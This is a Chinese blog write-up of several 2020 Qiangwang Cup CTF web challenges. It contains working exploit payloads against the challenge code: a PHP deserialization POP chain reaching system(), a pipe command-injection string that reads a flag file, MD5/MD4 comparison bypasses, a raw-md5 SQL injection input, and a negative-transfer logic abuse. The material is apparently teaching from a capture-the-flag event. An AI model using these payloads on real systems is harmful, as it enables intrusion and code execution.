zoukankan      html  css  js  c++  java
  • 2020第四届"强网杯"线上赛部分题解

    前言

    肝了两天,日常被虐,这里记录一下做出来的几道题,真*web是一个都没解出来,感觉还是tcl!!!,还得继续努力啊

    web辅助

    题目直接给了源码,有四个文件,代码比较少。

    主要考查:反序列化字符串逃逸,绕过wakeup,还有一些小技巧

    反序列的基础知识可以参考之前的博客:

    https://www.cnblogs.com/lceFIre/p/12602233.html

    关于反序列化字符串逃逸可以参考这两位师傅的文章:

    https://www.cnblogs.com/magic-zero/p/11643916.html

    https://xz.aliyun.com/t/6718

    分析一下代码

    index.php

    <?php
    @error_reporting(0);
    require_once "common.php";
    require_once "class.php";
    
    if (isset($_GET['username']) && isset($_GET['password'])){
    	$username = $_GET['username'];
    	$password = $_GET['password'];
    	$player = new player($username, $password);
    	file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    	echo sprintf('Welcome %s, your ip is %s
    ', $username, $_SERVER['REMOTE_ADDR']);
    }
    else{
    	echo "Please input the username or password!
    ";
    }
    
    ?>
    

    这个文件主要就是接收了两个参数,这两个参数可控,然后利用这两个参数实例化player对象,并且会将其序列化后的内容写入caches目录下的一个文件

    common.php

    <?php
    function read($data){
        $data = str_replace('*', chr(0)."*".chr(0), $data);
        return $data;
    }
    function write($data){
        $data = str_replace(chr(0)."*".chr(0), '*', $data);
        return $data;
    }
    
    function check($data)
    {
        if(stristr($data, 'name')!==False){
            die("Name Pass
    ");
        }
        else{
            return $data;
        }
    }
    ?>
    

    这里定义了三个函数,read和write的进行了字符串替换会导致逃逸,我们可以在username传入* 这样它在写入的时候长度没变是5个字符,但是read读取的时候会替换为 chr(0)."*".chr(0) 变成了3个字符,反序列化的时候就会向后吃掉2个字符导致后面的字符逃逸,check函数主要就是过滤了大小写的name,只要匹配到就返回Name Pass,这个在反序列化的时候,需要绕过

    play.php

    <?php
    @error_reporting(0);
    require_once "common.php";
    require_once "class.php";
    
    @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
    print_r($player);
    if ($player->get_admin() === 1){
    	echo "FPX Champion
    ";
    }
    else{
    	echo "The Shy unstoppable
    ";
    }
    ?>
    

    这个文件就是存在反序列化点的地方,它会读取之前index.php写入的序列化值然后反序列化,注意中间有一个check检测

    class.php

    <?php
    class player{
        protected $user;
        protected $pass;
        protected $admin;
    
        public function __construct($user, $pass, $admin = 0){
            $this->user = $user;
            $this->pass = $pass;
            $this->admin = $admin;
        }
    
        public function get_admin(){
            return $this->admin;
        }
    }
    
    class topsolo{
        protected $name;
    
        public function __construct($name = 'Riven'){
            $this->name = $name;
        }
    
        public function TP(){
            if (gettype($this->name) === "function" or gettype($this->name) === "object"){
                $name = $this->name;
                $name();
            }
        }
    
        public function __destruct(){
            $this->TP();
        }
    
    }
    
    class midsolo{
        protected $name;
    
        public function __construct($name){
            $this->name = $name;
        }
    
        public function __wakeup(){
            if ($this->name !== 'Yasuo'){
                $this->name = 'Yasuo';
                echo "No Yasuo! No Soul!
    ";
            }
        }
        
    
        public function __invoke(){
            $this->Gank();
        }
    
        public function Gank(){
            if (stristr($this->name, 'Yasuo')){
                echo "Are you orphan?
    ";
            }
            else{
                echo "Must Be Yasuo!
    ";
            }
        }
    }
    
    class jungle{
        protected $name = "";
    
        public function __construct($name = "Lee Sin"){
            $this->name = $name;
        }
    
        public function KS(){
            system("cat /flag");
        }
    
        public function __toString(){
            $this->KS();  
            return "";  
        }
    
    }
    ?>
    

    这里定义了四个类,很明显需要我们执行 jungle 的 KS() 来获取flag

    思路:

    首先构造需要逃逸的对象,将其作为password

    那么找一下pop链:

    jungle 的 __toString() 中调用了 KS() ,然后 midsolo 的 Gank() 中在 stristr 处进行了字符串的匹配,如果令 $this->name 为 jungle 类,就能触发 __toString() ,然后 Gank() 是在 midsolo 的 __invoke() 里被调用,接着 topsolo 的TP() 中在 $name() ; 处,可以令 $name 为midsolo 类,就能触发 __invoke() ,然后 topsolo 的 __destruct() 那里会调用TP() ,最后就是思考怎么调用destruct?

    payload

    <?php
    class jungle{
        protected $name = "";
    
        public function __construct($name = "Lee Sin"){
            $this->name = $name;
        }
    
    }
    
    class midsolo{
        protected $name;
    
        public function __construct($name){
            $this->name = $name;
        }
    
    }
    
    class topsolo{
        protected $name;
    
        public function __construct($name){
            $this->name = $name;
        }
    
    }
    
    
    class player{
        protected $user;
        protected $pass;
        protected $admin;
    
        public function __construct($user, $pass, $admin){
            $this->user = $user;
            $this->pass = $pass;
            $this->admin = $admin;
        }
    
        public function get_admin(){
            return $this->admin;
        }
    }
    
    $a=new jungle();
    $b=new midsolo($a);
    $c=new topsolo($b);
    
    $d=array();
    $d[0]=$c;
    $d[1]=2;
    
    $e=serialize($d);
    //echo $e."
    ";
    $f=str_replace('Lee Sin";}}}i:1;','lceFIre";}}}i:0;',$e);
    $f=str_replace('midsolo":1:{s','midsolo":2:{s',$f);
    echo $f;
    ?>
    

    运行得到

    a:2:{i:0;O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":2:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:7:"lceFIre";}}}i:0;i:2;}
    

    里面 * 两边的空格实际上是空字符,通常在传参的时候可以用%00代替

    注意脚本最后的两个替换

    第一个是为了利用php反序列的冗余来销毁对象触发 __destruct()

    简单来说就是:反序列化的时候如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。

    比如下面这个序列化值:

    a:2:{i:0;O:1:"B":0:{}i:1;i:1;}
    

    这是一个正常的数组序列化后的值,表示这个数组有两个值,第一个键是0,对应的值是一个对象,第二个键是1,对应的值是数值1

    这里我们把第二个键改为0

    a:2:{i:0;O:1:"B":0:{}i:0;i:1;}
    

    这里如果在将其反序列化,那么 B 对象会作为value冗余,如果B类存在__destruct(),则会调用 __destruct(),而不会导致反序列化错误,即先解析 O:1:"B":0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1)

    第二个是为了绕过midsolo的 __wakeup(),只需要修改对象属性的个数就行,不然我们构造的 midsolo 的 $this->name 属性会被重置

    还有需要注意的地方

    就是我们上面构造的payload中很明显存在name字符,会被check()检测出来

    function check($data)
    {
        if(stristr($data, 'name')!==False){
            die("Name Pass
    ");
        }
        else{
            return $data;
        }
    }
    

    引用一下之前在 Y1ng 师傅 博客中学到的方法

    这里可以将序列化里的字符串改写成十六进制,也就是将表示字符串用的s写成大写S,这样private属性后面的%00这个不可见字符就能写成0(如果是小写s 这个0表示一个斜线和两个0 是三个字符,而大写S会把0解析成%00(1个字符的空字符))

    因此我们可以将上面payload中所有的

    s:7:" * name";
    

    改为

    S:7:"0*06eame";
    

    6e表示 n ,这样就可以绕过check

    a:2:{i:0;O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"lceFIre";}}}i:0;i:2;}
    

    然后将上面构造好的pop链当作password传入,生成一个正常的player对象方便观察

    <?php
    class player{
        protected $user;
        protected $pass;
        protected $admin;
    
        public function __construct($user, $pass, $admin = 0){
            $this->user = $user;
            $this->pass = $pass;
            $this->admin = $admin;
        }
    }
    
    $username = '111';
    $password = 'a:2:{i:0;O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"lceFIre";}}}i:0;i:2;}';
    
    $a=new player($username,$password);
    $b=serialize($a);
    echo $b;
    ?>
    

    得到

    O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"a:2:{i:0;O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}
    

    然后为了便于吃掉字符,同时要保证序列化的数据语法正确我们可以添加

    lceFIre";s:8:"*admin";
    

    得到

    O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"lceFIre";s:8:"*admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}
    

    于是password应该为

    lceFIre";s:8:"*admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"lceFIre";}}}i:0;i:2;}
    

    这样需要被吃掉的字符就是

    ";s:7:" * pass";s:145:"lceFIre
    

    长度为30,因此我们的username需要传入15个 *

    最后先向index.php页面提交payload

    ?username=***************&password=lceFIre";s:8:"*admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"lceFIre";}}}i:0;i:2;}
    

    然后访问play.php得到flag

    主动

    这题感觉是除签到以外最简单的了

    访问得到源码

     <?php
    highlight_file("index.php");
    
    if(preg_match("/flag/i", $_GET["ip"]))
    {
        die("no flag");
    }
    
    system("ping -c 3 $_GET[ip]");
    
    ?> 
    

    payload

    ?ip=127.0.0.1|tac fla''g.php
    

    Funhash

    访问得到

    <?php
    include 'conn.php';
    highlight_file("index.php");
    //level 1
    if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
    {
        die('level 1 failed');
    }
    
    //level 2
    if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
    {
        die('level 2 failed');
    }
    
    //level 3
    $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
    $result = $mysqli->query($query);
    $row = $result->fetch_assoc(); 
    var_dump($row);
    $result->free();
    $mysqli->close();
    
    
    ?>
    

    主要考的就是各种md5的比较

    在第一关卡了蛮久后来找到相关的文章

    https://www.dazhuanlan.com/2020/01/17/5e2103fc1e45f/

    payload

    hash1=0e251288019
    

    方法就是用脚本爆破

    <?php
    for ($i = 0;; $i++) {
        $req = "0e" . $i;
        $md4 = hash("md4", $req);
        if (preg_match("/^0e[0-9]*$/", $md4)) {
            echo $req . "n";
            break;
        }
    }
    ?>
    

    要跑蛮久

    第二关

    md5全等碰撞

    hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7
    

    用数组绕过好像也可以

    第三关

    参考这位师傅的博客

    https://blog.csdn.net/March97/article/details/81222922

    hash4=129581926211651571912466741651878684928
    

    最终payload

    ?hash1=0e251288019&hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7&hash4=129581926211651571912466741651878684928
    

    bank

    给了nc,连接返回

    sha256(XXX+aJl8GWbgSdealQbg8) == e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c 
    Give me XXX:
    

    只有三位写个脚本爆破一下

    # -*- coding: utf-8 -*-
    import requests
    import hashlib
    
    
    def sha256(data):
        datas = data + text
        sha256 = hashlib.sha256()
        sha256.update(datas.encode())
        res = sha256.hexdigest()
        return res
    
    def main():
        for ch1 in string_list:
            for ch2 in string_list:
                for ch3 in string_list:
                    guess_data = ch1+ch2+ch3
                    res = sha256(guess_data)
                    if res == text_encode :
                        print(guess_data)
                        break
    
    if __name__ == '__main__':
        string_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
    
        text = '''
    
    aJl8GWbgSdealQbg8
    
        '''
    
        text = text.replace("
    ",'')
        text = text.replace(' ','')
        text_encode = '''
    
    e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c
        
        '''
        text_encode = text_encode.replace("
    ",'')
        text_encode = text_encode.replace(' ','')
    
        main()
    

    然后提交token,队伍名,之后返回

    your cash:10
    you can choose: transact, view records, provide a record, get flag, hint
    > 
    

    五个功能都试了一下

    your cash:10
    you can choose: transact, view records, provide a record, get flag, hint
    > hint
    
    def transact_ecb(key, sender, receiver, amount):
        aes = AES.new(key, AES.MODE_ECB)
        ct = b""
        ct += aes.encrypt(sender)
        ct += aes.encrypt(receiver)
        ct += aes.encrypt(amount)
        return ct
    
    
    > get flag
    you need pay 1000 for the flag!
    don't have enough money!
    
    
    > provide a record
    My system is secure if you can give me other records, the receiver can also get the money.
    >
    
    
    > view records
    there are some transactions and the transaction amount is more than 100
    b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b4cf1ba64a0b3ae74105673b53f26b8561
    daf24c67188fbd3a8e4828ec5ec8a4b4daf24c67188fbd3a8e4828ec5ec8a4b47ebd45ab3e87afd321306dff981cdc68
    b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b5352687700b12564b4c7efaccfdeac935b57
    4018265660a40a7f5b9127e2808b53524018265660a40a7f5b9127e2808b5352e8218f6e40154ac26ac8fc6cde319272
    b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b457661409079b2f705f0774edd5066390
    daf24c67188fbd3a8e4828ec5ec8a4b46728832df7d17a7814d58ecb14e57f6a0119a3b00d0c81e677236d17291cc7a5
    6728832df7d17a7814d58ecb14e57f6a4018265660a40a7f5b9127e2808b53529c09f9c368af563f7daa22e8ab044bfb
    6728832df7d17a7814d58ecb14e57f6a6728832df7d17a7814d58ecb14e57f6aa0ab1b6d7933d4353d3d54d9ac85c1b7
    b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b535215597c6206d6e4bb4af19044dbcc0f28
    b3ae353be7116f4ad433c63470f59100b3ae353be7116f4ad433c63470f591003fd886c9b310839d1e34b1cbf3675b49
    
    
    > transact
    please give me the trader and the amount(for example:Alice 1)
    > 
    

    简单来说就是要1000块钱才给flag,正常做到这一步只有10块钱

    然后provide a record那里可以赚钱但需要提供其它的交易记录,这里不知道其他人的token,队伍感觉无法获得交易记录 ~~~实际上可以伪造只是我不会哈哈

    hint 里是 AES 加密,看了半天没看出什么,放弃,当时有很多人做出来这题,一度以为这个hint是在欺骗我,肯定有其它的骚操作

    然后transact那里,可以提供交易者和金额进行交易(例如:Alice 1)

    试了一下

    Alice 1
    

    返回

    please give me the trader and the amount(for example:Alice 1)
    > Alice 1
    16fcc2ccf8d4e9a656f967426c0248e6bea5d307800e76cded1e37ee3c9ce62ecc6ad27f389ca5f01b9fffb2e4838c97
    
    your cash:9
    you can choose: transact, view records, provide a record, get flag, hint
    >
    

    发现我变成9块钱了。。。

    后来试了很久,hint提示的aes感觉也不能爆破,最后想着既然有个Alice的列子,那这个Alice肯定有很多钱(估计有很多人把钱转给Alice),于是测试

    Alice -1000
    

    看会不会倒过来把钱转给我,然后竟然真的拿到钱了,最后在选择get flag就行

    后记

    比赛第二天遇到了很搞人心态的事,当时也是气急,就去很多群找了某个名叫 “你可真skr有趣人儿” 的傻逼,具体的事睡了一觉后也懒得想,越想越气

  • 相关阅读:
    python操作json来存储简单的数据,pickle来操作复杂的数据
    python元组,列表,字典练习
    python文件实现增删改查操作
    socket模拟服务器,客户端下载东西(ftp)
    optiontransferselect标签
    doubleselect标签联动选择框
    datetimepicker标签日期选择器
    combobox标签复合框
    checkboxlist标签多选框组
    使用动态数据的autocomplete标签
  • 原文地址:https://www.cnblogs.com/lceFIre/p/13556363.html
Copyright © 2011-2022 走看看